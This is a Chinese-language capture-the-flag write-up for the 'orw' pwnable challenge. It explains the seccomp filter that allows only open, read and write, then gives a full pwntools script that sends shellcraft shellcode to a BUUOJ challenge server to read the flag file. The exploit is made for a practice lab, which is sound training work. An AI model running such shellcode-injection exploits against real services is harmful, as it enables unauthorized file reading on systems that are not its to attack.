Pwnable_orw题解
查看保护

32位开启Canary保护
分析程序
讲程序拖入IDA中查看,main函数中发现seccomp函数

seccomp (Secure Computing Mode)是一种 Linux 内核安全机制,它可以 限制进程可执行的系统调用(syscall),用于减少攻击面,提高程序安全性。

使用seccomp-tools查看允许调用的函数,即orw(open,read,write)
该题只允许调用open,read,write.再联系题目上的信息,flag在/home/orw/flag下,即调用open打开文件,read读取文件,write输出文件内容,接下来就是编写shellcode,使用Pwntools下的shellcraft帮助编写
open(path,flag,mode) flag:只读 只写 读写 mode:新建文件的权限read(fd,buf,count) fd:文件描述符 buf:内存缓冲区 count:读取字符数write(fd,buf,count) 和read相同
exp
#coding=utf-8
from pwn import *
#from LibcSearcher import *
from warnings import filterwarnings
filterwarnings("ignore")
#-------------------------------------------------------------------#
#context(arch = 'amd64', os = 'linux', log_level = 'debug')
context(arch = 'i386', os = 'linux', log_level = 'debug')
flag = 0
if flag:
io = process('./orw')
else:
Address = 'node5.buuoj.cn'
Port = 25089
io = remote(Address, Port)
elf = ELF('./orw')
#libc = ELF('/home/ctfshow/libc/64bit/libc-2.23.so')
#-------------------------------------------------------------------#
def get_addr64():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(io.recvuntil(b'\xf7')[-4:])
#-------------------------------------------------------------------#
io.recvuntil("Give my your shellcode:")
shellcode = shellcraft.open('flag')
#open返回的文件描述符会存入eax,ebp作为缓冲区地址,存放读取的内容,即'/home/orw/flag'
shellcode += shellcraft.read('eax', 'ebp', 0x30)
shellcode += shellcraft.write(1, 'ebp', 0x30)
payload = asm(shellcode)
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号